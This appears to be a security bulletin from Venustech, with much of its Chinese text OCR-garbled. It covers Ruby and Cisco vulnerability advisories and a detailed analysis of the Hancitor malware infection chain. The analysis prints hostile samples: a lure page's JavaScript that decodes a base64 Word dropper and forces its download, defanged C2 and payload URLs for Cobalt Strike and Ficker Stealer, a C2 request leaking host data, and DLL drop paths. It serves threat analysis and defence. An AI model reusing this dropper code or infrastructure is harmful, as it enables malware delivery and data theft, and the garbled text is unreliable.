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1. Ruby H3&EHIKIFE (CVE-2021-28966)

Ruby & —F i L0, 06 R P B HARE =

2021 4F 04 JJ 05 H, Ruby BI7 KA %4 A, AIFT Windows £ 5 Ruby AL AL
tmpdir FEH ) — A H 338 iR (CVE-2021-28966) .

tmpdir FESI M Dir. mktmpdir JER R — NS EAE N QIR H R ATHAME4, JF A
A28 P AL S A 1 B e 787 .\, BT vE T g AT AT H 3k, BRI Bt vy
i3 A R IR AT H s g, IF BAT R BAREESZ M A RTSE,  H Ruby BEREH AL
ERABLBRI ,  Modi 2 m] DAZEARAT H b 13 H sl

ma e Bl
Ruby <= 2.7.2

Ruby = 3.0.0

ZEREW
H Az B2, U R 2 Bl
PR

https://www. ruby—lang. org/en/news/2021/04/05/ruby-3-0-1-released/
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https://www. ruby—lang. org/en/news/2021/04/05/tempfile—path-traversal-on—
windows—cve—2021-28966/

https://www. ruby—lang. org/en/news/2021/04/05/ruby—2-7-3-released/

https://cve.mitre. org/cgi—bin/cvename. cgi?name=CVE-2021-28965

2. Cisco SD-WAN vManage & Small Business Routers %4,

2021 4 04 07 H, Cisco kAi4 AT, BHE T Cisco SD-WAN vManage #ffHi) 3
A4 PRIR LK Cisco N RVITOW. RVI30. RVI3OW A1 RV215W B Hy g i) 1 At
P AT IR IR 203 B 3 560 LR B AR 22 BRI P M s 28 P DAGEE 3 ) P ik S 42 AL SR B 7E R 4
PATE ARG

TR RS U T

Cisco SD-WAN vManage £ Xt i (CVE-2021-1479)

ZINIRFFAET Cisco SD-WAN vManage B fFHIZREE B AFr, J CVSS 14> 9. 8.

F 5% F P B3NSR EAS IEAf, SR IR E 1 Bk & ) LA I ) 5 52 B i) LA RO B R
(12 B 1 SRR FH R, X T R P B i X, SR U VR F) B0 2 RS LA root
RUBRTE R 48 ATAE AR

Cisco SD-WAN vManage U FRIZFHRIF (CVE-2021-1137)

ZIWIAAFLE T Cisco SD-WAN BRI H P B D Red, H CVSS #4) 7. 8.

HTHMARIEA L, JIEFE vManage FRGE EVSINETH B HIBCPR #2860k i He s
& A] LB A SO K SR R o RS FE e R ) B 2 RS ASRAR R R root AL
PR

Cisco SD-WAN vManage X FR#EFIRIF (CVE-2021-1480)

ZIRIAAAAET Cisco SD-WAN A1) &R Gt SCH-AE S ThagH, - 3 CVSS ¥F4 7. 8.
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H T3 KRG SRR Dh RE I 5 N SSEAS IEWf, &eat B 4 B 0E s 35 AT L it 7] 2 52 2
o I R 40 ik W% =G SRR FH IR, R D A A b R I FR ok 2RI DL 7B R AT R SR I DA
root I FIAUBRIZ L R S

Cisco Small Business routers A HATIRIF (CVE-2021-1459)

ZIRIAAZ/ETF Cisco Small Business RVIIOW. RVI30. RVI30W A1 RV215W i fh #83%+
Web [ BLF I, H CVSS 34 9.8

H TR IERRIGUE A AR ph s N, Boadiad w] DU ) H bR e R &85 = 1 HTTP 1 SRk
FIFH SRR, D) A R T R B RS DA root P BY R AE 2 A R EHUTAHER
A .

-2 NS

RIS LR Cisco Small Business RV &% %8

RV110W Wireless—N VPN Firewall

RV130 VPN Router

RV130W Wireless—N Multifunction VPN Router

RV215W Wireless—N VPN Router

ZERIN

H A Cisco Small Business RVI10W. RV130. RV130W FI RV215W % i #s O 5 1k 508, &
AL KA LA EH, EUGIHF Cisco Small Business RVI32W. RV160 Bf RVI6OW #%
H2%. Cisco SD-WAN vManage H1[ 3 NMmFHCEBE, @iNS% NE LN EH:

Cisco SD-WAN
— E= A B i () 26— ME A
18. 4 K RRRA R B E ERRA IR I 2 A o
19.2 19. 2.4 19.2.4
19.3 TR BB E A - IR BB E RRA
20. 1 LA I E A IR BB E RRA
20. 3 20.3.3 20.3.3
20. 4 20. 4. 1 20. 4. 1
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N HERE

https://software. cisco. com/download/find

SH .

https://tools. cisco. com/security/center/content/CiscoSecurityAdvisory/cisco
—sa—vmanage—YuTVWqy

https://tools. cisco. com/security/center/content/CiscoSecurityAdvisory/cisco
—sa-rv-rce—q3rxHnvm

https://www. bleepingcomputer. com/news/security/cisco—fixes—bug-allowing-

remote—code—execution-with-root—-privileges/

0x02 EKFZEDTH
1. RFEEHM Hancitor BI4#T

PATHE

Hancitor f&— M5 57 IREE S 3 T 2 H0F2)F , 18 % # MAN1 Moskalvzapoe B, TA511
Bt A - JATEAE 2018 4F [ — 17 BB T4 o 4 1 Hancitor RIAHXT AR AL, FF-Ft
ol B AAEAR KB T 04 R —F Bl . IFE Hancitor 22 KBS Cobalt Strike
ETH, MEREIVAY, BEEFEITRMEAME ping THRM2AEZERTENH Active
Directory (AD) ¥A35i. FRATEAEACH UL Hancitor )5 1B & £ Wi M4 ping
TR, DAMEZ24 5 A 53 AT LASE 3 R ) R R A A

FLTE 2020 4F 10 H, Hancitor BiFF4AFIH Cobalt Strike, Hr—ubdius 7 e
ping THMRAMZEZIEGL LHLRI NRNES . IEH [ ping THBI7E RN (LAN) AR, HEA
FAAE, (BX A ping T RAE ping it 1700 54N A HBAS A FH ¥ TPv4-$dik 2= [A) ) IP-hik IS,

2P K249 1. 56B [ Internet 32 #1742 ¥ (ICMP) i & .
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BT REAS ping THAMAEA R, JATLAE T =00 Hanci tor WENHUBLE B &
SCIRIBR T AL AE AD SR UG Hanci tor 1T, JFEE THE 2021 4 2 AR MEERMA
IR BCRTH T0C, JRFEft 74 2020 48 12 A A1 2021 48 1 A MEIN B TLAMFEAASE 2.

- O

BIE i) Hancitor BaiéE
H 2020 4 11 H 5 HPR, Hancitor 3G R¥H & R I 4G & — e, Bl 1
BoR T WA A
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malspam page to
with Google  Google Docs download  downloaded enable
Docs link page Word doc Word doc macros

Hancitor Hancitor
malware C2 traffic

Ficker Stealer Ficker Stealer
data exfiltration

»> )=

Cobalt Strike ~ Cobalt Strike C2 additional if AD

traffic malware environment
'

Send-Safe
spambot malware

Kl 1. Hancitor Mrdiék

T Hanei tor YL It 55 72 «

® HAHEEMH T, BRI Google Drive LB B S U .

® )\ Google Drive UT[HIEERE SR AR Word SR HY) URL.

® % MR Word STRYSCA IR B B EAT 4D

® Hancitor DLL #MIERHAHH rund1132. exe I17 -

® Hancitor A & FIEH| (C2) &

® Hancitor C2## T3 Ficker Stealer W .

® Hancitor C2 7E AD M85 33 Cobalt Strike KHiE3).

® 5 Hancitor #J¢HJ Cobalt Strike WEZ)RIAVEANRESCAF, BN ping TH aiHE

F NetSupport Manager Remote Access Tool (RAT) ff% & 444

R DBUE T, BATEE ) 74 Send-Safe spambot M & AERT Hanci tor 24T /8
EM R ERIES), %% BRI B IR LRV A bR iR A LS A AT HERS 1 S 2 2T
Hancitor 8% & B HBAT o
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Hancitor B iGBh7E 2020 4E 10 A 20 HEXIKE . 3] 2020 #£11 A5 H, AKiEsC
ZPN L SCE RIS

E—BrBt: 4R R Word Y

Hancitor JjR#S4s RIEMIFIRIRA RSB A4, FAE 2017 4F 10 A, s KT R
DocSign fHE T HELFRIARE, (ELA 2019 48 10 HIF4R, Hancitor ¥ /5 BT T AR AN E L
{8 DocuSign fidR . H AT, K2 %% Hancitor MIMBH#R{#F T DocuSign F /8, Hancitor
BB P BB R AR 2021 4F 1 H 12 HRE .

DocuSign-spoofed MELFHASH i, tHAPRT Hancitor. DocuSign AR IEH T MIXFHEY
55, I HZA RS — B TR T, JHRAE T — A SR SRR 5 R B RS

El

L o

XL DocuSign == @i i) H ¥ IRk 12 2 il i BRVE B T BB NAR ) Google T ;A7
HI3%E Google Drive Tl . WiiFHLWIEHIET =IIRS, WHEKH OneDrive Fl Google

Drive RALFEEEPAT -

#E 1% Hancitor M H F #8 fF o B Google Drive B & U
https://docs. google. com/document/d/e/2PACX-F3k, LL/pub £ . iXFh URL ML 4G K
IR SR A% H e B R R A

NT UL T ARIX S URL, FER 1 RIR T 2021 4 2 A 8 HAY Hanci tor MR- rf ()% sk
Herfl. Google TN B LefkFzim A, JF H KL B4R,

hxxps://docs. google[. ]com/document/d/e/2PACX-
1 1vTetOTfCnHAXiwwNOrf]J jR81PTgu3dVzKEVW1d1-

HNKRCpwTqpgD4PnGuT jRjI kxIxR8 azAcQS1US/pub

hxxps://docs. google[. ]com/document/d/e/2PACX-
2 1vQeUQCdriz9ZT5dR7Byyfi4r—-Y6FsHuc jRbzvYLtWNmDGKfcqKyp914-

EAFFYXHxbAWrAR-CI25e8¢Z/pub

hxxps://docs. google[. ]com/document/d/e/2PACX-

1vSPBGA3-D8dfupT0216G4VGB9a06Nm3viKAia4F2XWr jT7mhPyBOL1rKr
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uj7DsB86Z38-EaxidoXIr8/pub

hxxps://docs. google[. ]com/document/d/e/2PACX-
4 1vShVIbeSUL9R hb5qZXdp 2SBm—

uFVKF JewpC4 0T2r436SQr71Pyy2cB6kHqiLC6TNsQQQiwUS_kmdY/pub

hxxps://docs. google[. ]com/document/d/e/2PACX-
5 1vQe8XwAxOetaoxILZsGLJgCCF2139s vgDHTpTDy4v9Nmh8nl1ZNhbC jga

S8u01xY2ckettVxUsr j1SLf/pub

hxxps://docs. google[. ]com/document/d/e/2PACX-
6 1vTC5fA07oEHKOVOKF93EqsLSkVOkiR4ppTG1ltqAPXb4sX jYzYhVBOw1G—

9F-6kxbhNeC8C91Rs5YsQD/pub

hxxps://docs. google[. Jcom/document/d/e/2PACX-1vTxPV1p44-
7 UfCkOfGWWMP3RZk—5LCvmglOW78f101U4TOLO1byG jHUKkWNDL jCnMaed—

OvBNwMZ80Kv,/pub

% 1. PA DocuSign A F M HEFEH ) 7 > Google Drive 2 FEZ R~

AR 2 HL B R R de s
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To

From DocuSign Signature and Invoice <alti@alumaicedealer.com> ¥¥

Subject You got invoice from DocuSign Signature Service

® You got invoice from DocuSign Signature Service - Mozilla Thunderbird — m} X

X

€ Reply 9 Reply All|v¥ ~ Forward More v
Date Tue, 02 Feb 2021 14:04:11 -0300

https://docs.google.com/document/d/e/
2PACX-1vQo80XyudLQ2845Ty0OPBikYFXG
DHOKOGFvii7UNfQSIfLaclrSIpVIBNHolgclW

Docu%

_UCQqHIWEHgXrdgR/pub

Review and sign this inve 2.

Dear Receiver,

Please review this invoice
This Is an electronically generated invoice.

This note contains a secure information. Please do not share this link with
anybody.

Other Signing Method
Visit DocuSign, click 'Access Documents', and enter the code: 04AEC99EF4

About DocuSign
Sign invoice electronically in just few clicks. It is safe. No matter if you're in an office,
home or on-the-go -- DocuSign gives a professional solution for Digital Operations .

Have questions concerning an Invoice?
If you need to modify the document or have concerns , contact the sender by emailing
them directly.

If you are having trouble signing the document, visit the Help with Signing page on our
support .

v

B 2. 2021 4 2 H 2 HIFEh, 1hi&A DocuSign LT HE{H4E% Hanci tor 71

HAEFEEMZ, L https://docs. google. com/document/d/e/2PACX—FF3k 3 LL/pub

S5/ Google Drive URL A FFAEEEM . (HE, WIRAEEINIGRM R -FIRAFh RIS

AR AT BER o

X% Google Drive URL £ /Rn—/NHA N Word SCRYBERERIM T, B 3 SoR 118

Google Drive FN=E TLH BB T o

\
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D experience-860 X + B s =
< @] @ https://docs.google.com/document/d/e/2PACX-1... & g Signin (&
experience-860 Updated automatically every 5 minutes

https://www.google.com/url?q=http://ajlpublicidade.pt/squirming.php&
sa=D&source=editors&ust=1612293771019000&usg=
AOVWaw2XO00i_WANAwWNSBhciNcF5Q

document.doc

Previewing is disabled.
Click here to download the document

Published by Google Drive - Report Abuse

Kl 3. AR DocuSign HLFHEAFH Google Drive HEHE: (FE M4 XA H RIR)

XL TUHAEH Google #E#2EN% = URL, Hir A SMSE, BHFESZH HFR URL. K 3
EIRIIEEFELL https://www. google. com/FF3k, FHRSRIAIT-IER . (HAE, Stz 5, Web
W WEARINE hxxp://ajlbulicidate[. ]pt/squriming. php SEFR & —AN%E URL. Kl 4 42

ajlbulicidatel[. Ipt FHIINE P LI -

- ] X

-

* ajlpublicidade.pt/squirming.php X | 4

X 4\ Not secure | ajlpublicidade.pt/squirming.php 6

Wiaiting for ajlpublicidade.pt..

K 4. #.d5 Google Drive TUH LA G
K H ajlbulicidate[. Ipt ITUHIELE —ANlH base64 SCARRIMA, PLGIE—NEE
[ Word SCRY . IS (f ) W B8 SR A 2 Word SCRY4E R 8k, RS EEEME]—/ DocuSign
VUTH, P 5 A6 B

\
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set cookle( n' 5 n, 2)\s
document . location . reload();
¥
</script>
2000
<body>
<script>

function saveAs(blob, fileName) {
let url = window.URL.createObjectURL(blob);

document.createElement('a');
anchorElem.style = 'display: none';

anchorElem.href = url;
anchorElem.download =

let anchorElem =

fileName;

document.body.appendChild(anchorElem);
anchorElem.click();

document.body.removeChild(anchorElem);

Part of the HTML returned from
http://ajlpublicidade.pt/squirming.php

Base64 text for malicious Word

// On Edge, revokeObjectURL should be called only after

// a.click() has completed, atleast on EdgeHTML 15.15048

setTimeout(function() {
window.URL. revokeObjectURL (url);
}, 1000);
}

(function() {
let byteCharacters =

document with macro for Hancitor

atob('UEsDBBQABGATAAAAIQDIbdzztQEAAJEGAAATAAGCWONVbNR1bNRfVHIWZXNdLnhtbCCiBAT00AACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

K 5. Baseb4 XAKINKH ajlbulicidate [.] pt FEE AW 0 A H FEE R Word SCRY

SULSURLUACYARARRRRRRTIAS U/
CQGUIQEATPUBABYAAAAAAAAAAAAAAAAAZNEBAHdV cmQvbWVkaWEvaWlhZ2UxLmpwZWdQSwECLQAUAAYACAAAACEAZ iw6KNSDAACS FGAAFQAAAAAAAAAAAAAAAACWZWMAD2 9y
ZC9tZWRpYS9pbWFNZTIuZW1mUESBAiOAFAAGAAGAAAARAEWHIKO0CQAADCCAABEAAAAAAAAAAAAAAAAAPGSDAHdVCMQyc2V@dGluZ3MueG1sUESBA1IBAFAAGAAGAAAAhAEMO
Jh2QAgAAj goAABAAAAAAAAAAAAAAAAAAE3UDAHd cmQvdmIhRGFOYS54bWxQSwECLQAUAAYACAAAACEAVASNYY cBAACPAGAAFAAAAAAAAAAAAAAAAAAS eAMAd29y ZCI3ZWIT

ZXROaW5ncy54bWxQSWECLQAUAAYACAAAACEAKAKDXGYLAAC/

CQAADWAAAAAAAAAAAAAAAACSEQMAd29yZC92dH1sZXMueGlsUESBAIOAFAAGAAGAAAAhABG6Gx 2 TAQAA2 AMAABAAAAAAAAAAAAAAAAAATYUDAGRYY1Byb3BzL2FwcC54bWxQ
AAAAAAAAAAAAUIAMAZGY j UHIVCHMYY29yZS54bWxQSwECLQAUAAYACAAAACEAT1Y9pMYBAACLBQAAEGAAAAAAAAAA

SwECLQAUAAYACAAAACEADOtF12YBAAD fAGAAEQAAAAA,
AAAAAADL 1gMAd29yZ(C9mb250VGFibGUueG1sUEs FBgAAAAARAI

let byteNumbers =
for (let i =
byteNumbers [i]

new Array(byteCharacters.le
= byteCharacters.charCodeA
let byteArray = new Uint8Array(byteNumbers);

// now that we have the byte array, construct
let blobl = new Blob( [byteArray], {type: 'app

BEAXwQAAMGMAWAAAA==") ;

ngth);

0; i < byteCharacters.length; i++) {

t(i);

the blob from it
lication/octet-stream'});

saveAs(blobl, '0202_90796135274781.doc'); * Name of Word document to be

HO;
</script>

6d

saved by the web browser

</body><meta http-equiv='refresh' content='0;url=https://www.docusign.com/?download=0202_90796135274781.doc"'>
0

GET /favicon.ico HTTP/1.1
Host: ajlpublicidade.pt
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

88 0. 705 .56

K 6. JASEHE T ORI

ERAAE T A Word 3C 44 Jf & & M £ DocuSign URL X Hf,
hxxp://ajlbulicidate[. ]pt/squriming. php T, B ZEEZAEER
TUTHIA Word SCAY . W1l 7 o, |

FIE M EIEANF

Web browser redirects to
DocuSign URL

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/

Word SCHY,

XAl e S BB R R FEH MG

NIz ;ﬁa

lLJ‘zu\

SR 5 B € [ £ DocuSign URL [ T)EE

SHE B
WERRT DocuSign

Word SCR4 42 DocuSign
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X
[ experience-860 X & DocuSign | #1 in Electronic Sign. X | =

= O
@ @ https://www.docusign.com/?download=0202_9079613... 7@

Sales 1-877-720-2040 Support Access Documents

Announcing Agreement Cloud: 2020 Release 3 ) S
ogin

= DocuSign" CONTACT SALES Q

NZIZ]e @ [}

. What do you want to do with
= 0202.907961352747...doc? oen Save e Showall X

B 7. i 3 %R Google Drive T A RS ) LRV BN 5 1K) Web D0 U 2% iR

X428 DocuSign FUE B Word SCRIE K 8 P KRR o

= < 0202 90796135274781.doc - Word Sign in 3] =

File Home |Insert Design Layout References Mailings Review View Help Q Tell me

I SECURITY WARNING Macros have been disabled. Enable Content X

This document is protected P

To open the document,
follow these steps:

Page10f1  0words ES| = B - ] + 76%

8. #£ T DocuSign F /A B MR, A Hancitor HIS&E Word SCRY

DocuSign F A& ME— F K% Hanci tor 1A . B4, 2021 422 H 9 H, {#H
SHLE L S AR SR AR B 152 38 S ik T Hanc i tor SBRELE. B T AN R B AR AT
Wi IR AR

B A B T 2020 4F 11 H 5 HE 2021 4F 2 A #] 127 A Word SCRYS SHA256 MRS L K2

A Hancitor %
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B —MrBt: Hancitor MiTFZEH
N IX L Word SCRY A FH 720, ZEARIE i 21247 FEMIER Hancitor 3% DLL XA
% DLL SUHASEZ RS H . 7E 2021 45 1 HA1 2 H, iX%E Hancitor DLL #fRAFEILLTF—

MMIE, Wk 2 P,

1 C:\Users\ [username] \AppData\Roaming\Microsoft\Templates\WOrd. d11

2 C:\Users\ [username] \AppData\Roaming\Microsoft\Templates\Static. dl1

3 C:\Users\ [username] \AppData\Roaming\Microsoft\Word\STARTUP\WOrd. d11

% 2. Hancitor DLL XA E

K9 WoR T 2021 4F 2 H 2 H#EGLEHLA—A> Hancitor DLL 3CAH

| M v | C\Users\user1\AppData\Roaming\Microsoft\Word\STARTUP e | X
Home Share View e
« v P « Roaming » Microsoft » Word » STARTUP ~ D £ Search STARTUP

Name - Date modified Type Size
Word.dll 2/2/2021 6:29 PM Application extension 404 KB
1item =

IR

9. 2J&KY% Windows FHLHT Hancitor DLL

X Hancitor DLL XA 28 T rund1132. exe 1847 H].Process Hacker #@7~ 7 —~ 2021

2 H 2 HER®G], wE 10 Fios.
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.
Hacker View Tools Users Help
% Refresh & Options ‘ ﬂﬁ Find handles or DLLs ¥ System information | ] T X Search Processes (Ctrl+K) P|
Processes Services Network Disk
Name PID CPU Private by... User name Description )
‘ v 1 explorerexe 1508 1.57  49.72 MB DESKTOP-USER1PC\user1  Windows Explorer
@ SecurityHealthSystray.exe 8140 1.63 MB DESKTOP-USER1PC\user1 Windows Security notification i...
_] rundll32.exe 60 8.66 MB DESKTOP-USER1PC\user1  Windows host process (Rundll...
_] rundli32.exe (60) Properties = (] X
CPL General Statistics Performance Threads Token Modules Memory Environment Handles GPU Comment
File
Windows host process (Rundll32)
(Verified) Microsoft Windows
Version: 10.0.19041.746
Image file name:
‘ C:\Windows\SyswOW64\rundlI32.exe QL

Process
Command line:

C:\Windows\SysWOW64\rundlI32.exe c:\users\user1\appdata\roaming\microsoft\word\startup\WOrd.dll,UninstallFont

Current directory: | C:\Users\user1\Documents\

Started: 5 minutes and 12 seconds ago (6:29:41 PM 2/2/2021)

PEB address: 0x3133000 (32-bit: 0x3134000) Image type: 32-bit
Parent: Non-existent process (4272)

Mitigation policies: | DEP (permanent); ASLR; CF Guard Details

Protection: None Terminate

Close

K] 10. Process Hacker A& 7~HJ Hancitor DLL H)id#E

il Hancitor 5] #2 P48 i 0h T8 4L Windows EHLAD TP HubAS2E . Ih TP HhhbAG 2
FiEid api. ipify. org ¥ F| G VAR S IP Mt 2 Ja LRIl 2 C2 I &, Wil 11 Frznif) Wireshark

SRR .

Time Dst port Host Info
2021-02-02 18:29:42 50.19.252.36 80 api.ipify.org GET / HTTP/1.1
2021-02-02 18:30:07 45 9 191.107 80 knorshand.ru POST /8/forum.php HTTP/1.1 (appli

11. Wireshark F @7~ IP Hulib#& 25l Hancitor C2 URL.

M 2020 4F 11 HF) 2021 4F 2 A, Hancitor C2 & HLL/8/forum. php &5 ) HTTP POST
TERA . KA 45 2 &G Windows EHL AL TP Hukk. EHLAMAH K 4. o
RS2 IEII TN AD FRBE I — 3553, MR AR (B E G4 Windows HIRA RIS B . 5,
RAT IR 4 5 2 R AL AR ME— R RS (GUID) A Hanci tor SERFIEREA ) Py
WA S . A REGHTI Hancitor C2IREMIRG], 1ES WE 12.
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POST /8/forum.php HTTP/1.1

Accept: *x/x

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: knorshand.ru

Content-Length: 131

Cache-Control: no-cache

GUID=74912408363632421654&BUILD=0102_jerpo3&INFO=DESKTOP-USER1IPC @ DESKTOP-
USER1PC\userl&EXT=&IP=173.66.46.112&TYPE=1&WIN=10.0(x64)HTTP/1.1 200 0K
Server: nginx/1.16.1

Date: Tue, 02 Feb 2021 18:30:07 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.45

C
TMNGARRABw==
0

& 12. 3k { Hancitor C2 Ji&M TCP ik

B33 B B HL T M 2020 4F 11 H 5 HF 2021 4 2 A 25 H#¥ Hancitor DLL SCAEREA N 63

AN SHA256 WA 7518 .

H=KBt: Hancitor VENBEKML:
Hancitor # 37 C2 EH )G, SiENERPMF. Hanci tor SR ERSFEE 1R R — Mk
o B, 2021 4F 2 H 2 HFEEFTE bobevatofredding[. Jcom. & 3 f7R T Hancitor 0%

BATH LA BB URL 741

H 3 URL BB
2021-01-19 hxxp://alumaicelodges[. Jcom/1901. bin Cobalt Strike
2021-01-19 hxxp://alumaicelodges|[. Jcom/1901s. bin Cobalt Strike
2021-01-19 hxxp://alumaicelodges[. ]com/fls. exe Ficker Stealer
2021-01-20 hxxp://ferguslawn[. ]com/2001. bin Cobalt Strike
2021-01-20 hxxp://ferguslawn[. Jcom/2001s. bin Cobalt Strike
2021-01-20 hxxp://ferguslawnl. Jcom/6fok jewkj. exe Ficker Stealer

2021-01-27 hxxp://onlybamboofabrics[. Jcom/2701.bin | Cobalt Strike

2021-01-27 hxxp://onlybamboofabrics[. Jcom/27012. bin | Cobalt Strike

hxxp://onlybamboofabrics[. ]com/6gdwwv. ex
2021-01-27 Ficker Stealer
e
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Venustech Security Response Center

2021-02-02 hxxp://bobcatofredding[. ]Jcom/0102. bin Cobalt Strike

2021-02-02 hxxp://bobcatofredding[. Jcom/0102s. bin Cobalt Strike

2021-02-02 hxxp://bobcatofreddingl. Jcom/61lavfdk. exe | Ficker Stealer

2021-02-10 hxxp://backupez[. 1com/0902. bin Cobalt Strike
2021-02-10 hxxp://backupez[. Jcom/0902s. bin Cobalt Strike
2021-02-10 hxxp://backupez[. ]com/6yudfgh. exe Ficker Stealer
Send-Safe
2021-02-10 hxxp://backupez[. Jcom/47. exe spambot
malware

2% 3. 5T Hancitor fE&Ge & LT % = 8 F 10 URL 7=

Hancitor fXAE/E&GY AD FETH K EHL A 21 EN Cobalt Strike, WIERIHHEHLZE KA
I N PCIXFERIPANT L, MIE AL Cobalt Strike, {H Hancitor i85 <> m) HE L)
A EHLEN Ficker Stealer.

S3 BTG 5 EE A2 M Hanced tor 4L iR ) H S s 1 () d 1 5.7 ¥2: . Ficker Stealer
RS Cobalt Strike PALMIEAR. K 13 Bax T 2021 4 2 A 2 HIERHITE,

FREE R TH Ficker Stealer #HI<IIH .

Time Dst port Host Info
2021-02-02 16:24:20 23.21.252.4 80 api.ipify.org GET / HTTP/1.1
2021-02-02 16:24:30 45.9.191.107 80  knorshand.ru POST /8/forum.php HTTP/1.1 (applice
2021-02-02 16:24:31 8.209.78.68 80 bobcatofredding.com GET /0102.bin HTTP/1.1
2021-02-02 16:24:31 8.209.78.68 80 bobcatofredding.com GET /0102s.bin HTTP/1.1
2021-02-02 16:24:31 (8.209.78.68 80 bobcatofredding.com GET /6lavfdk.exe HTTP/1.1
2021-02-02 16:24:31 192.254.79.71 8080 192.254.79.71:8080  GET /EbHm HTTP/1.1

2021-02-02 16:24:31 192.254.79.71 443 Client Hello

2021-02-02 16:24:32 (23.21.252.4 80 api.ipify.org GET /?format=xml HTTP/1.1
2021-02-02 16:24:34 192.254.79.71 8080 192.254.79.71:8080  GET /ptj HTTP/1.1

2021-02-02 16:24:34 192.254.79.71 443 Client Hello

2021-02-02 16:25:06 53 Standard query 0xe@e@ A sweyblidian.com

2021-02-02 16:25:06 Standard query response @xe@e@® A sweyblidian.com A 185.1I
2021-02-02 16:25:06 [185.100.65.29 80 49806 - 80 [SYN] Seq=0 Win=64240 Le
2021-02-02 16:25:14 (185.100.65.29 80 49809 - 80 [SYN] Seq=0 Win=64240 Ler
2021-02-02 16:25:34 192.254.79.71 8080 192.254.79.71:8080  GET /ptj HTTP/1.1

2021-02-02 16:25:35 192.254.79.71 443 Client Hello

2021-02-02 16:26:32 45.9.191.107 80 knorshand. ru POST /8/forum.php HTTP/1.1 (applic:
2021-02-02 16:26:35 192.254.79.71 8080 192.254.79.71:8080 GET /ptj HTTP/1.1

2021-02-02 16:26:36 192.254.79.71 443 Client Hello

2021-02-02 16:27:35 192.254.79.71 8080 192.254.79.71:8080  GET /ptj HTTP/1.1

2021-02-02 16:27:37 192.254.79.71 443 Client Hello

2021-02-02 16:28:33 45.9.191.107 80  knorshand.ru POST /8/forum.php HTTP/1.1 (applic:
2021-02-02 16:28:35 192.254.79.71 8080 192.254.79.71:8080 GET /ptj HTTP/1.1

2021-02-02 16:28:38 192.254.79.71 443 Client Hello

2021-A2-A2 16:29:36 192.254.79.71 RARA 192.2754.79.71:RARN GFT /nti HTTP/1.1

13. Hancitor BRI E, RHEERT S Ficker Stealer AT H

M3 D AL 56 20204 10-H £ 2021 4E 3 H 5 Hancitor AHEM) Ficker Stealer %
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Venustech Security Response Center

BAEREAREE .

K 14 Box THEIRE, HREHBERT Y Cobalt Strike ARAIIIH .

Time

Dst port

Host

Info

2021-02-02 16:24:20 23.21.252.4 80 api.ipify.org GET / HTTP/1.1

2021-02-02 16:24:30 45.9.191.107 80 knorshand. ru POST /8/forum.php HTTP/1.1 (applic:
2021-02-02 16:24:31 [8.209.78.68 80 bobcatofredding.com GET /0102.bin HTTP/1.1

2021-02-02 16:24:31 |8.209.78.68 80 bobcatofredding.com GET /0102s.bin HTTP/1.1

2021-02-02 16:24:31 8.209.78.68 80 bobcatofredding.com GET /6lavfdk.exe HTTP/1.1
2021-02-02 16:24:31 [192.254.79.71 8080 192.254.79.71:8080 GET /EbHm HTTP/1.1 ]‘
2021-02-02 16:24:31 |192.254.79.71 443 Client Hello

2021-02-02 16:24:32 23.21.252.4 80 api.ipifv.org GET /?format=xml HTTP/1.1
2021-02-02 16:24:34 |192.254.79.71 8080 192.254.79.71:8080 GET /ptj HTTP/1.1

2021-02-02 16:24:34 (192.254.79.71 443 Client Hello

2021-02-02 16:25:06 53 Standard query @xe@e@ A sweyblidian.com

2021-02-02 16:25:06 Standard query response @xe@e@ A sweyblidian.com A 185.1(
2021-02-02 16:25:06 185.100.65.29 80 49806 - 80 [SYN] Seq=0 Win=64240 Ler
2021-02-02 16:25:14 185.100.65.29 80 49809 - 80 [SYN] Seq=0 Win=64240 Ler
2021-02-02 16:25:34 [192.254.79.71 8080 192.254.79.71:8080 GET /ptj HTTP/1.1

2021-02-02 16:25:35 |192.254.79.71 443 Client Hello

2021-02-02 16:26:32 45.9.101.107 80 ___knorshand.ru POST /8/forum.php HTTP/1. (applici
2021-02-02 16:26:35 [192.254.79.71 8080 192.254.79.71:8080  GET /ptj HTTP/1.1

2021-02-02 16:26:36 |192.254.79.71 443 Client Hello ‘
2021-02-02 16:27:35 [192.254.79.71 8080 192.254.79.71:8080  GET /ptj HTTP/1.1

2021-02-02 16:27:37 |192.254.79.71 443 Client Hello

2021-02-02 16:28:33 45,9,191.107 80 knorshand, ru POST /8/for (applic:
2021-02-02 16:28:35 [192.254.79.71 8080 192.254.79.71:8080  GET /ptj HTTP/1.1

2021-02-02 16:28:38 |192.254.79.71 443 Client Hello ‘
2021-07-A2 16:29:36 1102.9254.70.71 808N 102.754.79.71:8A8A  GFT /nti HTTP/1.1

14. Hancitor Y& 5 Cobalt Strike #HFSK)IH H

Ficker Stealer Fll Cobalt Strike N2 BT TAFR B 7E 2 U ENLIRERL | o Ficker
ChrmEAndezs) AWEBERM, BaEMELdE, HHA

Stealer & —F “smash and grab”

SORBAEZIE G L b Cobalt Strike MIBEREFE RGN A7, I HAERATHIMAIA T+,
ERIEEE S G

BGHrE: Cobalt Strike FHEABER KM
1 JE B & i Cobalt Strike JEANEGREH M. 2021 4E 2 A 2 H Bt H
R, {# Cobalt Strike fH A NetSupport Manager RAT.

Yt Hancitor B ENLEHILA B —A 02— ping TEH)

Hancitor

Cobalt Strike JAzlJ5, /B
Windows EXE SCfH.

